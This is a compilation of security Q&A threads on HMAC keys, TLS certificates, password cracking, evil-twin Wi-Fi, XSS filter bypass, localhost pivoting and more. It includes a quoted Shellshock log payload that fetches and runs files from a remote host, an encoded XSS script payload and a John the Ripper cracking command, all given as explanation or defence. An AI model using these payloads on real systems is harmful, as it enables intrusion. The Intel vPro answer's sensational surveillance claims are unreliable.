HMAC secret key client storage I've read numerous articles about using HMAC and the secret key for client authentication in a RESTful client (Javascript) application today.
Still, I don't find a single source that is able to transparently explain to me a process that fills the security gaps in the theory.

The secret key is supposed to be secret, which means that only that specific client and the server should know about the key.
Since the secret key should not be transferred over the network, it should be sent over a secure medium such as email. I will not use SSL/TLS, so sending the secret key as a response from the server at login is not an option.

When questioning security, it makes no sense to me.
The only reason why the user would access his email for my application, would be on registration (to activate the account).

My first thought is that a cookie is not safe, but is there another way to store the secret key on the client?
When the user clears his cookies, the secret key is lost. It doesn't feel very logical to send another email with a new secret key every time the cookies are gone, that wouldn't make any sense to the user.
The user will use multiple clients, and a separate secret key should be generated for each client. Setting the key on registration does not sound like an option.

The only thing that would make sense to me is that the client gets its hands on the secret key when the user logs in, as there is no reason to keep the key when the user logs off (or after a certain expiry time).

So the question is easy:

  How does the user get the secret key at login, and where is it stored
  at the client so that it is safe?

I feel a bit surprised that I cannot seem to figure this out.
Lots of answers on the same question seem to beat around the bush, but never hit the sweet spot that makes me understand.

Edit:
After another day of research, I can only conclude that an SSL connection is really required. I just can't see it any other way.
Anyway you put it, the secret has to get to both the client and server.
If this is true, I don't see why so many websites and blogs I've read point to using HMAC as alternative for Basic Auth + SSL. If there is no transparent way to share the secret key between server and client @ login time, then for me there is no use in using HMAC at all.

I find this a pity, as in the RESTful environment, every request sent to the server requires to be authenticated individually.
My application is supposed to send a lot of requests to the server for an hypothetical high amount of people, I am afraid for the overhead that SSL will cause.
Do correct me if I see this wrongly.

Yes, SSL is required, at the very least to transfer the "code" to the client, i.e. all of the HTML and JavaScript.  You could transfer the key using SSL when the client logs in, using a secure cookie, and then have the client-side JavaScript code make non-SSL HTTP requests using the key contained in that secure cookie.  However, this adds a lot of complexity, and SSL would be simpler, less error-prone, and probably faster anyway since cryptography in JavaScript is likely to be slower than the SSL implementation in the web browser and web server.  Furthermore, unless the data is extremely non-sensitive, you should encrypt the requests and responses, in which case SSL would be needed anyway (there would be no benefit in trying to do the encryption in JavaScript).


ssl-cert common name and Alternative name in Nmap output What is the meaning of these sections? I observe these field for port 443 and in particular I don't understand why, in my case, common name is different from the target name of the scan. How these two domains are related(target domain and common name domain)? and how are releted common name and alternative name fields? In particular with DNS Alternative Name.

The target you scan is the name you have. This name gets translated to an IP address and this IP address then is used for the connection in nmap. But, an IP address can actually be resolved from many DNS names.

The names returned by nmap are the ones which the server returns inside the server certificate of the TLS connection. While there might be overlap with the name you give it does not need to be. Such differences occur for example if multiple DNS names point to the same IP address (and you have just chosen one of these) or if the server is configured in a way you did not expect. For example the certificate might return names which resolve to a totally different IP address in case the service is not intended to be reached directly but should only be reachable by a CDN or load balancer.


Adding a "comment" to PGP mail signature files? I have started signing my mail with PGP, and it attaches the file signature.asc to my messages to verify that I sent them with content, as you'd expect, like this:

-----BEGIN PGP SIGNATURE-----

iQIcBAEBCAAGBQJUHRK/AAoJEMJWYKCGVRRfo+8QAJ+of0o30gPA3+OAWK/03JZN
STWaF+DQIsxFX6vuLgl10b8D1SyH78vMfMBy785+P/Do/hAzk2g+cBNz0q4oUi7/
cCAI7w3s6EJ5CUCPr3iaP3C9DpMnpj5i0wEZ+ZsGGQ0xiiTTKGPyvQp0KteDvX1l
v7+ljufmFAm2KGir80AjwLyU9HypYr9K9hz6KBwkgm9dk0ocLhB6cSR+lDjDMUBH
Sfdpgim8Yt1NqBBA/HidKcEuGPWsdN2A9Kr0/8pu0qhwHIvQPRVG+51jM5gUN1yr
/+NBALvNWPL0dh61Z0gHe0APu0C+bKx941RRzCi1e4kb/NCVkijX1rcgUzguY4H3
h3tFK30UK1/mtMW5SLV/AwE0XVi/qmXc6i0Tvvd6fpRmfT8rlnJyyiEC7GNHWS7F
yTCNUaqRrcPwGTnEPSUm2n/y3Yst0lo0k4NVvv3/M+eauFqu6WmMrefMBWQU03DQ
EITaOTakmwDFBlxa9VyP5/s7OftgMKcSIgxXROclIWNiid2eu843JhGshH3HrCe2
SakzKKyR/17ISdIsuDOpzRhfa0ghXWfXg+ksqSqx5FYaOOJlBOWXSVJu4sbDORGr
aeY6c+5tzyUxkNHkrIOzOXfJDh/86TughlYmi71WqonDndm0N5n1o0WZL569xkwg
kwi1/SZI1k27sk/e3yku
=Xyfk
-----END PGP SIGNATURE-----

Is it possible to include a "comment" with the signature file? If someone uses PGP/GPG they will just see a message that the email was signed. But most people I send mail to do not use PGP, so they will see this attachment and perhaps will be confused - is it possible to include a "comment" in this file (ideally auto-generated) which explains that what the signature means to the uninitiated?

OpenPGP, RFC 4880 "Forming ASCII Armor", defines a way to add comments to ASCII-armored OpenPGP data.

Using GnuPG (no matter whether using GPGTools or not), this comment can be configured using the comment option, either as gpg --comment or in the GnuPG config file ~/.gnupg/gpg.conf, for example

comment Comment you want to add in each file.

The Apple Mail plugin does not overwrite the option, thus the comment will also be added to mails sent using Apple Mail.


Standard (or solution) for securing files in a point-to-point integration I'm looking for a relatively light weight way to secure both integrity and confidentiality for files being uploaded in a point-to-point integration. The use case is uploading batch files for processing. The files contain sensitive data, and should be protected until processing starts.

We'll be using SFTP, but I'm looking to provide an extra layer of security to prevent breach of confidentiality or integrity in case of misconfiguration or vulnerabilities in the SFTP server.

Some considerations:

The key pairs used should be replaceable. This means that the encryption and signature keys must be identified as part of the encrypted file or signature.
The algorithms used should be replaceable. If we for example use RSA + SHA-256 for signatures now, we should be able to replace this later without a coordinated deployment between the uploader and recipient.
The integration should be low maintenance and low complexity. I'm looking to avoid PKI and certificates unless there are strong reasons not to.
The files should be protected both under transport and when they're at rest.
The solution should be platform agnostic.

I've been considering creating a custom solution, but I'm thinking this is something that's probably been solved a number of times before.

Is there a good standard (or "best practice") for ensuring integrity and confidentiality of uploaded files?

Assuming you've setup your SFTP server to use public key authentication only, you're pretty much safe with it.

It is always possible to add another layer of security, for instance, a VPN between your endpoints but, in your specific case, you're just exchanging the risks in one software for the same risk with another one: if your VPN software has a vulnerability or is missconfigured, there is usually no need to exploit the underlying SFTP software to gain access to the system. You're still getting something if the VPN stack runs as a limited (and different) user but that is not typically the case.

In other words, the solution you're asking for (an additional encryption layer) does not provide protection against the proposed threat model (misconfiguration or software vulnerability). In such a case, the best practice is to go for the simpler model since additional complexity is usually more expensive to deploy and maintain and it also increases the attack surface.


How to Verify the identity of another computer So I'm building an application that is designed for sharing files across a local network, and eventually across the Internet. I want to have a system for verifying the identities of computers, something like Bluetooth pairing that requires mutual agreement between two computers before any files can be shared between them, but is relatively simple for the user. I also want to protect against MITM attacks so that files sent from one computer to another are not modified in transit or read. How can I achieve all of this?

While your question is very broad and thus it is not clear if the answer really fits your problem a way to achieve what you describe is to use TLS with client certificates. This is an established technology (i.e. what you use with https:// links) and widely implemented in a variety of libraries and tools on server and client side. Client certificates don't actually allow you to identify the system by itself but only the user of the certificate, i.e. in theory they could be shared between multiple systems. But by generating a new client certificate for each new installation you can essentially identify the system where the software is used.


Is it possible to make John the Ripper work with only those entries that are in a wordlist (e.g. rockyou.txt)? I don't want any mangling to be performed on the wordlist.

If you are using kali Linux then  you can  invoke john with the following command .

john --wordlist=/usr/share/wordlists/rockyou.txt /{path to hash file}

Suggest you to go through the documentations of john openwall.com/john/doc/RULES.shtml for other additional conditions like specifying the format , type single or multiple etc.
There are many blog posts on the internet that provide a walkthrough.
Anyways the above command is the answer to your question.


Is it possible to crack Joomla hash password? I'm a developer and suddenly I fall in a stupid situation like I need to crack a hash Joomla password which is (5aa154999c111bf7f33a1a3cadba5847) and I don't know the salt. is there any way to crack this hash password?

Just as Swashbuckler said - "decrypt" or "dehash" or "reverse" are almost always the wrong words for attacking password hashes.

But you can try to crack them - even with an unknown salt. This involves trying many possible strings, to see if they result in the same hash. It is harder if the salt is also unknown.

If it's older Joomla, it's MD5-ish (though I'm not sure of the details there, digging into the source code for older Joomla or John the Ripper or hashcat would probably tell you). Newer Joomla uses phpass, so there are quite a few possible salts, so this would probably be non-trivial (unless the password is trivial).

Edit: Looking at this answer and other sources, unless yours was a custom naive implementation, Joomla hashes prior to 2.5.18 had a large 32-hex salt (16^32 or ~34x10^38 possibilities). Even if the password is 'password', cracking this hash without the salt would be very unlikely.


unifi AP how to issolate the guest network How do I isolate my "Guest" network on my Unifi Access Point(AP) so they can't see all the computers on the network and thereby prohibiting access to our computers/data on other networks on same AP.

On my old Router, the "Guest" network was going through the WAN so they had an IP address 192.168.1.xxx and there they couldn't see each other. But on this AP, I can't connect them to the WAN, but only the LAN. Hence they have an IP address in segment 10.5.25.xxx

Is that something I have to setup through the VLAN/LAN settings?

Guest control

Lan setting

First of all let you know that applying restrictions to your guests will let them still 'see' other hosts because these restrictions don't block ICMP protocol, but still they can't even ping other hosts neither access.

If you want to isolate completely your guest network I would recommend you VLANs. You can easily set them up if you have a Unifi Security Gateway.

Set up a new network with a complete different pool of IPs and subnet (10.0.1.0/24 for example) and mark it as VLAN '123' for example.

Now in Wireless Network settings you can edit your guest network and in the advanced settings select 'Use VLAN with VLAN ID' and put in again '123'.

From now on your guests should been put in VLAN '123' with an IP in range 10.0.1.1-10.0.1.254 and will be completely isolated from the main network.

Hope I helped you or gave you at least some ideas!


IPSEC End to End Tunnel Throughput I have established a IPSEC tunnel ( standard configuration , with ESP) , on two Linux machines (centos6 , core i7) communicating over 1 gbps LAN , and i'am checking the communication throughput. It never goes higher than 400 MBps.

Is there any parallel implementation of IPSEC, that can utilize all the cores of the machine and increase the throughput?

Is there any parallel implementation of IPSEC that can utilize all the cores of the machine and increase the throughput. ?

I don't think that current implementations will encrypt data from the same data stream (connection) in parallel and it would only possible for selected ciphers anyway. That means it would not be possible for CBC ciphers since the encryption of one block depends on the encryption of the previous block.

But you could of course have multiple data streams (i.e. connections) in parallel and in this case the encryption of these streams will be done in parallel too. Thus it should be possible to reach a higher total throughput than you have. See benchmarks from libreswan where they reach several Gbit/s throughput when tested with iperf. You will also see in these benchmarks that the possible throughput highly depends on the cipher in use.


SSH reverse tunnels: can the intermediate server eavesdrop on an SSH session? Suppose there are three computers: (1) my laptop, (2) a server that has a public static IP address, and (3) a Raspberry Pi behind a NAT. I connect from (1) to (3) via (2) as explained below.
On the server (2), I add GatewayPorts yes to /etc/ssh/sshd-config, and restart the SSH daemon: sudo systemctl reload sshd.service.
On the Raspberry Pi, I create a reverse SSH tunnel to the server:
rpi$ ssh -R 2222:localhost:22 username-on-server@server-ip-address

On my laptop, I am now able to connect to the Raspberry Pi using:
laptop$ ssh -p 2222 username-on-pi@server-ip-address

The question is: is the server able to see the data sent between my laptop and the Raspberry Pi? Can the server eavesdrop on the SSH session between my laptop and the Raspberry Pi?

Assuming that there is no active MITM attack going on (which can be detected by properly checking the host keys when connecting to rpi), the server sees only the SSH traffic between laptop and rpi.
Since the payload is encrypted in SSH the server can only do some broad traffic analysis (i.e. source, destination, timing, size of data, ...) but not see or even modify the actual payload. Note though that in some cases such traffic analysis might already be valuable, see for example Timing Analysis of Keystrokes and Timing Attacks on SSH.


Is it safe to store user's secure pass-code in database with encrypted form while creating bitcoin wallet? I would like to create a Bitcoin Wallet.

Part of the process is to store public and private keys in encrypted form in server database.

All keys I am storing is encrypted using user's passcode.

1) Is it safe to store user's passcode in encrypted form in server database. (Thinking that User might forget his passcode so considering one recovery option)

2) Is there any kind of future possibility that I get in trouble if any kind of attack happens or by action of some intruder/admin itself(worst possibility) - the key reveal to the attacker which will lead access and open up all the pub/priv keys from database of that specific User? This way I can not give forget pass-code option to user.

So considering both option Shall I store User's pass-code or not?

What is the best practice to implement this security feature in bitcoin wallet ?

Update

This question is not duplicate of How to securely hash passwords?

as the question reveals ways of doing hashing of password and Here What I am asking is to find a best practise to decrypt pass-code and it's related impact on the system.

For eg. What If user wants to recover his forget password?

1) No. If you have a way to bypass the user's password, then you have a way in their wallet. Thus, if a user forget his password, they lose access to their money (and any attacker too). That's the point of a password.

2) Yes. That is more likely than you might think.

The best practice is for users to use an offline wallet that do not upload their data to a server.

Also, do not forget to backup (and test the backups) the server's data, because that's also your users' money that you have to reimburse in case of hardware failure or natural disaster. Before you start to develop this system (software and hardware), you must do a (security) risk assessment and discuss with your insurer. Do it again before releasing your service. There might also be legal obligations related to handling money and users' sensitive information, depending on where you live and to whom to will provide this service.

Take care not to roll your own cryptography. Depending on what you mean by “pass-code”, this scheme can be inherently insecure.


What are the privacy and security risks associated with Intel's Management Engine and AMD's Platform Security Processor? And also as an everyday user who mostly just surfs the web, are these risks a huge concern for me?

Edit: Also on the similar note, are there any substantial evidences of Intel or AMD purposely adding malware to their SMMs either for themselves or for the NSA?

The new Intel Core vPro processors contain a remote access feature that allows full remote access to a PC at any time, even if when the computer is turned off.  As long as the power supply is available, the system can be woken up by the Core vPro processor, which is able to quietly turn individual hardware components on and access anything on them.

According to Mr Jonathan Brossard, a leading Security Research Engineer, "this is a feature that is documented  and well understood" [...] There is absolutely no reason to believe this is being misused by NSA or whoever.
So practically, the only thing preventing the usage of such 'features' is morality, which is proved multiple times to be lacking on the mentioned organization & Co.

Secret 3G Radio in Every Intel vPro CPU Could Steal Your Ideas at Any Time

Intel's 'Sandy Bridge' Chip to Include vPro Business Features

For the normal web user, there should be no problem, but it is highly likely that certain keywords will trigger events that will cause the listing of the system under 'to be investigated' category.


Evil twin access point with WPA/WPA2 When I created an evil twin AP with an SSID of someone else's Wi-Fi network e.g. MyWifiNet, I could see two APs on my phone/laptop with the SSID MyWiFiNet, however the legitimate one was secured with WPA2 and the evil one was unsecured.

Can I create an evil twin access point with WPA/WPA2 encryption in such a way that when a victim connects with a wrong PSK my evil twin access points accepts this wrong PSK and authenticates the victim as a regular client?

Is there any other way to accomplish this?

When you create an Evil Twin wireless network, as you said, if you are "clonning" an unsecured network (network without any encryption) you'll have no problems and the clients will connect to your network instead of legitimate if you enough power to trick them.

If you want to clone a network with any encryption security you must previously know the key to create it in exactly the same way. So a work must be done previously in order to get that password. If no, the clients will never connect automatically to your rogue network.

So, to answer your question... the answer is yes only if you have previously hacked the network to know the exactly parameters including the key. If no, there is no other way.

You can perform DoS to the legitimate network and probably some clients will enter manually into your fake network but of course they must "bite the lure" which is a small part of social engineering.


(httpd log files) What kind of attack is? How can I prevent it? In my log files I see hundreds of these registers. I have to say that the client ip changes sometimes. So there are 3 or 4 ips sending this requests...
The othersite.something (that I ommited) is always the same.

[Sat Apr 11 21:34:13 2015] [error] [client xx.xxx.xx.xxx] script not found or unable to stat: /home/Myuser/web/myweb.something/cgi-bin/php5-cli, referer: () { :;} ;echo;/usr/local/bin/php -r '$a = "http://othersite.something//Help1";''$b = "http://othersite.something//Help2";''$c = sys_get_temp_dir();''$d = "Help1";''$e = "Help2";''$f = "chmod 777";''$g = "file_put_contents";''$h = "system";''$i = "file_exists";''$j = "fopen";''if ($i($c . "/$d"))''{''exit(1);''}else{''echo($c);''$g("$c/$d", $j("$a", "r"));''$g("$c/$e", $j("$b", "r"));''$h("$f " . $c ."/$d");''$h("$f " . $c ."/$e");''$h($c . "/$d");''$h($c . "/$e");''}'

Is some attack trying to use my server to do something in other server (othersite.something) ?
Or this attack is agains my server?
I have see that all registers appear as [errors] but I would like to stop after x failed attempts...
But it seems that fail2ban is not working properly.
Also I must say that I'm not using cgi-bin folder at all...there is nothing iniside... could I simply set permissions 640 or 600 to avoid this?

This attack is a variant of Shellshock, denoted by the bash code found at the beginning of the payload: () { :;} ;.  The way you prevent your application from being scanning by bots is by disconnecting your server from the internet. Scans for remote code execution vulnerabilities like Shellshock are extremely common and are not going away any time soon.

A more practical approach to security is ensuring your system is fully updated, and by following secure coding practices.  The OWASP top 10 is a good place to start, being vulnerable to Shellsock would be a violation of OWASP A9: using components with known vulnerabilities.


When and why does bypassing XSS sanitizers with double encoding work? I have read in different sites about different ways to bypass XSS sanitizers, like double encoding special characters such as /<>:"', or employing different encoding schemes.

However most of these sites do not explain why these attacks may work and in which cases. For instance I know modern browsers URL-encode special characters, while cURL doesn't do that; thus you cant create a PoC using cURL (or Burp Proxy).

Can someone give a very detailed explanation on how browsers encode and handle input data (both POST and GET) and how a typical (PHP) web application handles these? From my little experience in PHP (while I was in university) I was just accessing parameters like $_POST["query"] without even thinking about encoding, security practises, etc.

Lets look at this example payload (A), encoded once (B) and twice (C):

A. <script> alert(1) </script>
B. %3Cscript%3E alert(1) %3C%2Fscript%3E
C. %253Cscript%253E alert(1) %253C%252Fscript%253E

Double encoding can be used to bypass XSS filters when different parts of the applicaition makes different assumptions about if a variable is encoded or not. For instance consider the following vulnerable code:

$input = htmlentities($_GET["query"]);
echo urldecode($input);

This code would block the payload if it was just single encoded (as in B). PHP URL decodes your GET variables for you by default (turning B into A), so < and > would be passed to htmlentities that  neutralizes them. However, if you instead send in C, it would be URL decoded to B that would pass through htmlentities unchanged. Since it is URL decoded again before it is echoed, it turns into the dangerous payload A.

So the bug here is that there is another layer of URL decoding after the XSS filter. When the two lines are next to each other like this, the problem is quite obvious. But these two things can be in separate modules making it hard to detect. Since it's hard to keep track of what strings are URL encoded, it is tempting to just throw in an extra decoding to be sure - after all, it usually doesn't affect unencoded data.

The PHP manual actually warns about this:

  Warning: The superglobals $_GET and $_REQUEST are already decoded. Using urldecode() on an element in $_GET or $_REQUEST could have unexpected and dangerous results.

In my opinion the manual is not cautious enough here - decoding any untrusted data after filtering for XSS is dangerous, no matter where it comes from. Be extremely careful with modifying your data after you have filtered it!

For more reading, see OWASP.


Spoofing `localhost` to connect to a server that only accepts connections from localhost I have been wondering whether it is possible or not to spoof localhost so that when a connection is made the remote server can be tricked into thinking the connections are coming from localhost.

For example, there is a configuration in MySQL that only accepts connections from localhost. As an outside attacker, could it be possible to spoof localhost in order to gain access to this server, granted of course there are no further security measures taken?

This concept (typically used as part of an attack) is often called "pivoting", as in "I used the server's request forwarding feature to pivot from the Internet to localhost". There's no way to "spoof" localhost traffic over TCP; TCP requires a valid source IP address to complete the handshake. On UDP, you might manage it if the application was listening on external interfaces but was rejecting any connection that doesn't come from the local host - this is different from only listening on the loopback interface, which is what you would normally do if you only wanted local traffic - but I've never heard of that approach being used, probably because it's a stupid way to configure a server.

There are a number of ways you can pivot a network connection to a local (internal) network, or to localhost (which is essentially an extra-small - one machine only - local network). Let's take a trivial, contrived example: the machine running the local-connections-only server is also running an open proxy server exposed to the Internet. You connect to the proxy, and tell it to connect you to 127.0.0.1 on the desired port. The proxy server sends out that request on your behalf, and connects to the restricted server. The proxy then relays your traffic to the restricted server, and its traffic back to you.

There are a number of less-contrived examples that may work. XML External Entity attacks are probably the most common, and can be used to make various kinds of requests, such as HTTP, HTTPS, FTP, and possibly others, to a host and port of your choice (relative to the vulnerable XML parser, which is usually in a web server, so requesting "localhost" in the XXE would make the web server connect to itself on the specified protocol on port). That won't usually get you interactive traffic, but is good for simple requests and can usually be made as often as desired (this can also be used to port-scan an internal network for certain kinds of servers). Anything that lets an external program have the server make an arbitrary request on the external user's behalf can be abused to send a request to the server's localhost-only services.

Another option that might sometimes be relevant is to use this sort of attack to gain privileges on a host after you have compromised it and gained arbitrary code execution in a low-privilege environment. Imagine, for example, a sandboxed web server. You compromise the server and drop a reverse shell on it, letting you run code within the server's sandbox. You then open a network connection to another service on the same server (but outside the webserver's sandbox) that is listening on localhost but is otherwise unauthenticated. If the sandbox doesn't restrict you from doing this and the target server exposes anything not visible from within the sandbox directly, you've just effectively gained additional privileges.


Do I have a IP leak if I use Tor and Skype/UDP? I configure my OS so that it sends all traffic over the Tor (assume that, I configure Tor like proxy).
I use Tor (which does not support UDP) and Skype (which uses UDP).
My questions are:

Does that mean my IP can leak to the skype.com?
Can skype.com or other Skype users see my IP?

Are there any other leaks?
For example, whether in this case the IP leakage DNS? Because DNS requests often go to bypass.

If yes/not - why? And if answer is yes - how can I solve these problems?

I'm not sure it's documented anywhere exactly what info is collected and sent back to MS via Skype, but to quote Tor's wiki page on IM software:

  Skype usage is highly discouraged. It can be used for leak testing
  purposes as it's very good with firewall tunneling. Skype is closed
  source and users have no control over the encryption keys used. Skype
  can therefore decrypt and monitor communications arbitrarily. It is
  unwise to communicate in an unsafe manner over Tor. Skype also
  collects a large amount of personal data and reports back to a central
  server.

I've also seen posts that Skype blocks Tor exit relays. But i have no links to an official Skype / MS response to that allegation (big surprise there).


Detect man-in-the-middle on server side for HTTPS Background: We have a site which works over HTTPS (HTTP not supported, we use HSTS). It's deployed in 3rd party cloud, which restricts our control and log abilities over server hardware. We cannot force using of client certificate authentication. So basically what we have is public HTTPS site with standard 2-factor authentication (login/pass + SMS), which can be accessed from desktop or mobile browser, and additional API on the same site from inside native mobile apps. Server software is based on .Net/IIS.

We're considering the following scenario - somehow user's computer/smartphone made to trust attacker's certificate, thus allowing classic MiM attack (so user is connected to proxy with trusted certificate, and proxy is connected to our server). One of the common (in some countries) scenarios for that is that Internet provider requires user to trust theirs self-signed certificate.

Leaving aside security on client-side (check certificate thumbprint etc) - is there any way for server (i.e. for our application) to understand that MiM attack is in place?

This is something like this question HTTPS - Can server see details of client side certificate?, but I'm looking not only for ways to detect such attack immediately (which would be good of course if possible), but also for ways which can help us detect such attack in long-run, having for example some historical records.

A perfect man an the middle attack can probably not detected, but usually these attacks (or legal SSL interceptions in firewalls) are not perfect. I would suggest to have a look at the ClientHello, especially about the ciphers offered by the client. Which ciphers are ordered and in which order a very typical for today's browsers. Man in the middle solutions usually don't care about replicating the exact ciphers but simply use their own cipher set.
Other features are protocol version or the use of specific extensions like SNI or ALPN.

Note that you probably don't get much of these features from inside a normal server, i.e. usually you get mostly the final cipher and the protocol version. To get more you might need to instrument the TLS library or sniff the traffic and analyse it later.


Is google saving clear text passwords? On your GMail account you have the option to add other POP3 accounts to automatically fetch mail from them; Google Mail Fetcher. When enabled you have to specify your username and password, and the mail fetcher will start to continuously get emails from the other account.

Is the password you prompted for saved as clear text, as it's used periodically by the service to connect to your other account? Is this safe?

The details of how Google implemented this functionality is unknown and proprietary to google so it isn't possible to answer your question completely. However, here are the high points:

Google will have to save your POP3 account password in their system. There is no way around this because POP3 has no is no standard way to delegate rights to a third-party server. Speculative: Google probably keeps this copy of your password encrypted in a reversible fashion in their database. I base this speculation on the company history of putting high emphasis on security.
Google servers will, indeed, periodically contact your POP3 server and download new messages from there. If you have checked the "Always use a secure connection (SSL) when retrieving mail" option, it will do so over a secure channel.
The safety of the system depends on the context. You're placing your POP3 account credentials in the hand of Google. Due to the nature of that information, it could potentially be subpoenaed by authority, stolen by an employee or otherwise leaked. Given Google track record in security, uncontrolled disclosure seems unlikely but definitely not impossible. On the other hand, by using this functionality, you're already trusting Google with the content of your email and with the capacity to impersonate you. It can be argued that, unless the credentials your handing out allow access to other resources and assuming you do force the use of TLS for password check, you're not extending the trust by much with the actual account password.


Is /dev/urandom a CSRG? Can we rely on /dev/urandom on UNIX machines if we need a cryptographically secure random generator?

From This Site:

  Both /dev/urandom and /dev/random are using the exact same CSPRNG (a cryptographically secure pseudorandom number generator). They only differ in very few ways that have nothing to do with “true” randomness.


Two certificates on smart card I have a question regarding Swedish gov eID (but I guess it is a pki/smart card general question); Why is there two certificates/keys on the card?

Background:

In Sweden you can have a "citizen electronic ID" on smart card (issuer Telia). The smart card have two certificates with different keys and different key-usages. One certificate is for "authentication/encryption" and one is for "digital signing" (key-usage=non-repudiation). As I understand it isn't possible to export the private key for any of the certificates.

My question is why are we using two certificates/keys? Why can't we just have one key/certificate that have support for both purposes (encryption/signing). I understand the principle that it´s good to have the option to export a key which is used for encryption (and vice verse - not able to export the key for signing)... And it would have make sense if the key for the authentication/encryption certificate would have been exportable...

You want to keep signature keys apart from encryption keys; this boils down to consequences of key loss, and key backups. You don't want a backup of signature keys, because this tends to strip them of their potential legal value; but you do want a backup of encryption keys, because loss of an encryption key implies loss of all the data which has been encrypted with that key. See this answer for details.

A signature key and an authentication key could be merged, though, because "authentication" really means, here, a signature on a challenge value. Keeping them apart from each other makes "sense" (in a bureaucratic way) if the corresponding certificates are issued by two distinct CA, and neither of them would accept being regarded as a sub-CA for the other. Another reason would be an inflexible set of regulations that insist on the "one usage per key" mantra, and considers authentication to be distinct from signatures.

Modern smart cards have room for many private keys (e.g. I am using this type of card at work, and you can put 30 private keys in such a beast), so there is little harm done in having two key pairs and two certificates, even if it was not strictly necessary.


Is it safe to reinstall Windows without first decrypting the whole drive? I am using TrueCrypt's 'Full Disk Encryption' and according to TrueCrypt's FAQ I should 'Permanently Decrypt System Partition/Drive' before reinstalling Windows. This does not make any sense to me. Would reinstalling Windows not undo the encryption in the first place?

The reason I would like to know, is because 'Permanently Decrypt System Partition/Drive' will take a long time.

  Note: If the system partition/drive is encrypted and you want to
  reinstall or upgrade Windows, you need to decrypt it first (select
  System > Permanently Decrypt System Partition/Drive). However, a
  running operating system can be updated (security patches, service
  packs, etc.) without any problems even when the system partition/drive
  is encrypted.

I wouldn't have a clue why you would first need to do a full decryption. It might be that this is a feature for people who are using an OEM version of windows that comes with a special recovery partition. I'd just install windows over your encrypted drive, I don't think that will give you any issues.

The same of course for upgrades for obvious reasons.


How to simply and efficiently generate different keys from one password? I saw here that using the same key to encrypt and mac (in that order) a message could eventually be unsafe.

What is the best way to generate two different keys from the same password (using a PBKDF with a password and a salt)?

Generate a longer output and split it?
Generate two keys using the same password/salt but with different number of iterations?
Generate two keys using the same password, but different salts?
Something else?

(I know that using a AEAD mode would be better, but let's assume that I have no other choice)

Technically, PBKDF2 can produce an arbitrary long output (it is a Key Derivation Function), but it has issues for that: PBKDF2 uses HMAC over some hash function, which has output length k bits (e.g. k = 160 for the usual SHA-1). If you ask for more output than that size, then the computational cost rises quickly: if you want 320 bits, it will cost twice as much as 160 bits.

Unfortunately, though PBKDF2 is "strengthened" to deter dictionary attacks, the attacker's cost will not rise as fast. Consider for instance that you use PBKDF2/SHA-1 to produce 256 bits worth of key material: 128 bits for symmetric encryption, then 128 bits for a MAC. As the defender (the normal user) you must get your whole 256 bits. The attacker, on the other hand, does not need as much; he can simply produce the first 128 bits, at half the cost, and see if decryption yields non-junk data.

This is a known issue with PBKDF2. Note that the same issue would appear if you used another password hashing function twice, with two different salts: you pay for the hashing twice, but the attacker can ignore one of the keys, and will thereby be twice faster than you.

If you prefer to use bcrypt, then you run into another issue, which is that bcrypt is not a KDF; its output size is 192 bits. No more. Its processing time does not depend upon its output size, because its output size is fixed.

The generic method is to run a password hashing function, and then expand the output with a Key Derivation Function. That's what @CodesInChaos suggests, with HKDF-Expand. There are several KDF out there; usually, for my own designs/proposals, I rely on HMAC_DRBG, from NIST SP800-90 and X9.62 (e.g. in this). Ideally, you want a KDF which is well-vetted, i.e. which has been investigated by cryptographers, and they found nothing bad to say about it (or, even better, they produced "security proofs").

If you are in a hurry and don't need a lot of key material, a relatively simpler method is to hash the password hashing function output with SHA-512. This will give you 512 bits worth of key material.


Payment form from http is secure? There are lot of payment gateways (Worldpay, PayPal, ..) offering easy integration, when the plain webpage using URL redirection to the payment page. HTTPS (worldpay,paypal), where the user posts his card details and payment data it is encrypted and trusted.

There are two webpages HTTP and HTTPS (secure) for payment. The user from the non-encrypted HTTP page is redirected to the HTTPS page, using redirect URL like: https://secure.payment.com/pay?to=merchant123&amount=300

The HTTPS page is opened to the user from a normal HTTP page, clicking to a button which opens a new URL. The URL string with its parameters is traveling as plaintext to the HTTPS site. The URL parameter contains the merchant ID and the amount.

The HTTPS (worldpay) displays all the data what is sent via url (so if MITM attack would change, the changed data would be displayed) and the user enters his card details there. This destination page is encrypted, and the user can double-check the payment details. Like paying for who, whats the amount, etc.

The question is, is it secure?

For the feedback, I try to re-edit and clarify more. 2015-04-17
EDIT: "secure enough" = it is trustable, and you can pay without a risk of a hacker steal your money. I'm not sure, isn't an easy hack trick to cheat that kind of system.
Btw. this is the way suggested by the 3rd party (paypal, worldpay) payment gateway companies.

http://support.worldpay.com/support/bg/index.php?page=development&sub=integration&c=
It states: "All payment processing is handled by WorldPay's secure server, so you and your Shoppers can be confident that their payment details are safe."

support/kb/bg/pdf/rhtml.pdf
"The advantages are that nearly all browsers support URL strings, and they are simple to code and to use. However, because the recipient can see all the attributes and values in the URL string, you may not feel it is secure. "

Such a setup can be trusted, since the payment details cannot be extracted by your hacker and the payment details can be verified securely.

The thing to watch out for is that a lot of user might not bother to double-check the details on the https page, or if there are 'hidden' paramaters sent along that aren't displayed and verified explicitly.


How to authenticate securely while in public As a remote worker, I often use my laptop in cafes or on public transit. Unfortunately, this means that someone could subtly record my keyboard with a camera while I type a password. I have to assume that this has happened many times already by accident -- many places have security cameras that record continuously.

What are some practical techniques that I can use to protect my password while I'm in a public place? I'm also open to other forms of authentication. I'm hoping proposals will have these properties:

I won't look too ridiculous, i.e. I'm not going to cover myself with a blanket, Snowden-style.
Any adversary capable of visually observing (or hearing) me while I'm entering a password should gain no (or a quantifiable small amount of) information that would help them guess my password.
If an adversary steals everything that I carry with me, they should still be unable to impersonate me during authentication. For this reason, I don't consider USB security keys (e.g. YubiKeys) or 2FA with Google Authenticator on my phone to be a full solution to this problem.

Edit: I've reviewed the existing questions here and here, but both of them are limited to the problem of visual observation. Neither of them ask about theft or information leaks via sound.

lastpass + fingerprint identification.

Edit
I was being snarky. But technically everything is going to violate your rules. There will ALWAYS be another avenue of attack. In this case, they could steal your hand,  or lift your fingerprints as well as steal your laptop.

Edit Edit
Even going underneath a blanket is absurd. Acoustically they can determine your password by the sound of your keystrokes.


NGINX 444 response equivalent for Apache server How can I configure Apache HTTPD server to send no response and close connection in case of DDoS or malicious request

HTTP status code 444 is simply an internal response that indicates NGINX has closed the connection without response. This is a non-standard code and is not sent to the requesting client. Often, 403 Forbidden is the equivalent used in Apache.

To generate an error in response to DoS or other attacks, you will need a script on either NGINX or Apache that responds to a set of configured rules.

In NGINX, this is often done with ngx_http_limit_req_module.

